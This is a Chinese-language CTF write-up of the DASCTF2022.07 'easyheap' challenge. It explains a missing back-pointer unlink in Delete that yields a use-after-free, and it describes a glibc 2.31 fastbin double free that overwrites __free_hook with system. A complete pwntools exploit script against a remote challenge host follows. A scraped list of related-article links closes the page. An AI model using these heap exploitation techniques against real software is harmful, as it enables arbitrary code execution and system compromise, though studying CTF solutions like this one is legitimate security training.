题目分析


有Add,Show,Delete三种操作

Add:


读取名字和内容,并根据名字计算出一个idx,插入到对应的链表中。

Show


根据idx输出某个链表内所有的内容

Delete


先计算出所在的idx,然后再从链表中摘下对应的Node

漏洞分析

漏洞在Delete 函数中,当从链表中摘下一个节点时,由于是双向链表,应该有这样的操作:

CurNode->prev->next = CurNode->next                //1
CurNode->next->prev = CurNode->prev               //2

但是这里只有操作1

示例


当从链表中删除2 节点时,删除之后的样子是:

此时我们再删除掉3节点:
由于3的prev指向的是2,所以删掉3节点之后,1节点的next指针任然指向的是3节点。
此时我们就可以 UAF 了。

利用

通过上面的操作,很容易就可以leak heap base和libc base,之后的操作有一点复杂。
通过UAF 可以造成double free,由于tcache bin 有double free的检测,同时还会再一次free 掉content,而content是存在于 unsorted bin或者tcache bin,所以只能在fastbin中double free,并且在double free之前必须使content 被重新分配,这样double free在free(content)的时候才不会崩溃

大概的构造方法:

leak 掉libc 和 heap 后,此时tcache bin中的0x210和0x30的chunk 都是7个。unsorted bin里面应该也有一个

  1. 再free 6个node ,填到unsorted bin里面 (要保证不会合并)
  2. 再free 1个node , 这个用来double free
  3. 再free 几个node ,主要是填充fast bin 0x30的位置,unsorted bin是先进先出的 (这点需要注意) (这些node 会在一会清空tcache 的时候会被使用掉,)
  4. 接着add 清空tcache bin 的0x210的chunk,此时注意unsorted bin里面的chunk
  5. 接着我们再add一个,此时由于0x210的tcache 是空的,会从unsorted bin bk开始,取出7个填到tcache bin里面,然后返回红色圈主的那个chunk,而那个chunk是double free node 的 content指针
  6. 此时double free的0x30 chunk 还留在fast bin中 (需要再第三步free 足够多才行)
  7. 接着就可以利用double free

之后的操作:

double free之后可以fastbin attack修改fd,但是fd要修改到哪里呢?

我们可以修改fd 到 某个0x210 chunk 内伪造的chunk,而且此时这个 0x210 的chunk还没有被分配, 而且伪造的0x30被分配之后,这个0x210的chunk还没有被分配。

那么之后我们就可以通过这个0x210的chunk修改0x30chunk的内容

看这里这几步操作,我们如果把last 修改为 free_hook - 0x20,并且把next 修改为 system地址,content 修改为bin_sh地址,那么上述操作实际上就是:
if (last) //last = &__free_hook - 0x20
last->next = system
system(“/bin/sh”),然后就可以getshell了!
而这些都可以通过那个0x210的chunk来修改!

exp:

from pwn import*
libc = ELF('libc-2.31.so')#sh = process('./pwn')
sh= remote('node4.buuoj.cn',28680)def add(name,content):sh.sendlineafter(b'> ',b'1')sh.sendlineafter(b'name: ',name)sh.sendlineafter(b'content: ',content)def free(name):sh.sendlineafter(b'> ',b'3')sh.sendafter(b'name: ',name.encode().ljust(0x10,b'\x00'))def show(idx):sh.sendlineafter(b'> ',b'2')sh.sendlineafter(b'idx: ',str(idx).encode())def hash(s):val = 0for c in s:val = val * 19 + creturn val&0x37def get_name(addr,idx):name = p64(addr)[:7]for a in range(26):for b in range(26):for c in range(26):for d in range(26):tmp = nametmp += p8(ord('a') + a)tmp += p8(ord('a') + b)tmp += p8(ord('a') + c)tmp += p8(ord('a') + d)tmp = tmp.ljust(0x10,b'\x00')if hash(tmp) == idx:return tmpreturn Nonedef make_name(addr,idx):name = p64(addr)for a in range(26):for b in range(26):for c in range(26):for d in range(26):tmp = nametmp += p8(ord('a') + a)tmp += p8(ord('a') + b)tmp += p8(ord('a') + c)tmp += p8(ord('a') + d)tmp = tmp.ljust(0x10,b'\x00')if hash(tmp) == idx:return tmpreturn Noneidx_33 = ['jpze','jpzm','jqcq','jqcy','jqdf']
idx_32 = ['jpyo','jqbs','jqch']idx_35 = ['jqay','jqbf','jqbn','jqem']idx_37 = ['jqdj','jpwb','jpwb','jpzi','jpzq','jqac','jqcu','jqdb','jqgq','jqgi']idx_36 = ['jqcd','jqcl','jqfk','jqfs','jqir','jqiz','jqjg','jqly','jqst']
idx_39 = ['aabj','aabr','aaeq','aaey','aaff','aahx','aaie','aaim','aall','aalt']idx_1 = ['aaaj','aaar','aadq','aady','aaef','aagx','aahe','aahm','aakl','aakt']for i in range(5):add(idx_33[i],b'')add(idx_32[2],b'2')
add(idx_32[1],b'3')
add(idx_32[0],b'4')add(idx_35[3],b'')
add(idx_35[2],b'')
add(idx_35[1],b'')for i in range(10):add(idx_37[9 - i],b'\x00' * 0x40 + p64(0) + p64(0x31))for i in range(9):add(idx_36[i],b'')for i in range(7):add(idx_39[i],b'')add(idx_1[0],b'')for i in range(5):free(idx_33[4 - i])#for i in range(7):
#    add(idx_39[i],b'')free(idx_32[1])
free(idx_32[2])show(32)
sh.recvuntil(b'=>')
sh.recvuntil(b'=> ')
heap_base = u64(sh.recvline()[:-1].ljust(8,b'\x00')) - 0x1050log.success('heap_base:%x',heap_base)#leak libc base
add(idx_35[0],b'')
#libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ebbe0
#log.success('libc_base:%x\n',libc_base)
free(idx_35[1])
free(idx_35[2])
show(35)
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ecbe0
log.success('libc_base:%x',libc_base)addr = heap_base + 0x2d50
name= get_name(addr,37)if name == None:print("failed!")
else:print(name)# -> unsorted bin
for i in range(5):free(idx_37[9 - i])free(idx_37[1])free(idx_37[2])   #double free
free(idx_36[8])
free(idx_36[7])for i in range(7):free(idx_39[i])for i in range(7):add(idx_36[6],b'')idx_1 = ['aaaj','aaar','aadq','aady','aaef','aagx','aahe','aahm','aakl','aakt']add(idx_1[9],b'') addr = heap_base + 0x1e10 #double free
sh.sendlineafter(b'> ',b'3')
sh.sendafter(b'name: ',name)#idx:7, modify fd ptr
name1 = make_name(addr,7)
add(name1,b'')add(idx_1[8],b'')
add(idx_1[7],b'')#sleep(2)
log.success('addr:%x ',addr)add(idx_1[0],b'')payload = b'a' * 0x40payload += p64(0) + p64(0x31)
payload += idx_1[0].encode().ljust(16,b'\x00')
payload += p64(libc_base + 0x1B45BD)
payload += p64(libc_base + libc.symbols['__free_hook'] - 0x20)
payload += p64(libc_base + libc.symbols['system'])add(idx_35[0],payload)
#gdb.attach(sh)
#sleep(1)free(idx_1[0])
#gdb.attach(sh)
sh.interactive()

(靶机的libc和题目附件中的libc版本不一致,靶机中使用的是: 2.31-0ubuntu9.9_amd64)

DASCTF2022.07赋能赛 - Pwn easyheap相关推荐

  1. DASCTF 7月赋能赛pwn wp

    pwn eyfor buf可以覆盖seed,覆盖之后直接可以生成随机数.猜数成功之后可以进入一个栈溢出: 程序自带system函数,同时会将payload strcpy到bss段上,因此可以在payl ...

  2. ciscn 2022 华东北分区赛pwn duck

    ciscn 2022 华东北分区赛pwn duck 很遗憾的是当时比赛解出此题花了很长时间(换了m1的mac 环境还没装,到了比赛前一会想起来x86_64的题目肯定会多一些,所以就拿了一个全新版win ...

  3. 2023 ciscn国赛pwn lojin wp

    第一次参加国赛,被队友带飞了,pwn只做出来了四个,1381分,第16名,总体来说还可以 在所有题目中,也是拿到了pwn题login的一血 话说回来,来详细说一下,这个pwn题的解法 首先就是能看到这 ...

  4. 2018东南大学 SUS 十一欢乐赛 pwn解题记录

    pwn2plus 直接栈溢出覆盖调用callsystem函数. exp from pwn import * #p = remote("47.100.40.190" , 10007) ...

  5. ISC 2018 蓝鲸魔塔线上赛-pwn

    前言 这个应该是菜鸟pwn狗的成长之路吧..这个题目比较简单就记录一下 正文 首先checksec一波 可以发现开了NX:栈不可执行,PIE:随机地址,RELRO:got表不可改写 现在还不知道应该是 ...

  6. SCAU 07校赛 10317 Fans of Footbal Teams

    10317 Fans of Footbal Teams 时间限制:1000MS  内存限制:65535K 题型: 编程题   语言: 无限制 Description Two famous footba ...

  7. C语言计算分段函数pta,PTA浙大版《C语言程序设计(第3版)》题目集 练习2-11 计算分段函数[2] (10分)...

    1.编程将一个字符串中所有空格替换为"%20" #define _CRT_SECURE_NO_WARNINGS #include #includeusing namespace s ...

  8. 微软旗下GitHub宣布裁员10%;谷歌高管警告:AI聊天机器人会产生错觉;华为称在ChatGPT领域早有布局丨每日大事件...

    ‍ ‍数据智能产业创新服务媒体 --聚焦数智 · 改变商业 投融资 迈铸半导体完成1500万Pre-A+轮融资 近日,原创技术晶圆级微机电铸造技术及应用方案提供商上海迈铸半导体科技有限公司(下简称&q ...

  9. 关于ACM,关于CSU

    原文地址:http://tieba.baidu.com/p/2432943599 前言: 即将进入研二,ACM的事情也渐渐远去,记忆终将模糊,但那段奋斗永远让人热血沸腾.开个贴讲讲ACM与中南的故事, ...

  10. NFTScan | 05.29~06.04 NFT 市场热点汇总

    欢迎来到由 NFT 基础设施 NFTScan 出品的 NFT 生态热点事件每周汇总. 周期:2023.05.29 ~ 2023.06.04 NFT Hot News:NFT 热点资讯 01/ 数据:N ...

最新文章

  1. Eclipse常用的高效插件
  2. 分布式事务中间件 Fescar - 全局写排它锁解读
  3. nginx+fastcgi+c/c++搭建高性能Web框架
  4. 后台开发人员面试内容——数据库(二)
  5. Razor Templating Engine
  6. Ubuntu安装apache+Yii2
  7. 深度学习基础1(神经网络)
  8. Docker最全教程——从理论到实战(五)
  9. 递归函数斐波那契数列python_使用Python函数递归实现斐波那契数列时为什么运行速度很慢?...
  10. JDK下载与安装、 Eclipse下载与使用、 Tomcat下载与使用、 MySQL安装与使用
  11. Xcode证书路径和缓存清理路径
  12. KVM详解(五)——KVM虚拟机镜像格式
  13. SVN快速上手使用(适用于新入职同事)
  14. 如何写好PRD文档?
  15. [LTE] LTE基本架构
  16. 遥感原理与应用-基本概念
  17. 基于模糊PID控制器的水温控制系统仿真
  18. [转]SREng扫描报告分析
  19. 从实验开始零基础学网络路由交换 十一,配置直连路由
  20. Android Q 修改Fingerprint

热门文章

  1. Scratch3.0安装教程
  2. clover 配置文件详解(转载)
  3. [转]How to change Atheros AR9285 MAC addr on Win7(Win7下更改Atheros AR9285 MAC地址)
  4. 免疫算法的c语言,免疫算法(IA)
  5. php moodle mysql_搭建基于Windows + Apache + PHP + MySQL的Moodle平台
  6. 普中开发板白屏_普中开发板送的12864为什么程序写进去,屏幕不显示?
  7. VS2010 上手案例---hello word
  8. 海康威视错误代码说明(四)(错误代码:47~62)
  9. 电力系统如何实现时间同步
  10. STM32 cjson的GBK/UTF-8/UNICODE转换、显示中文、GBK字库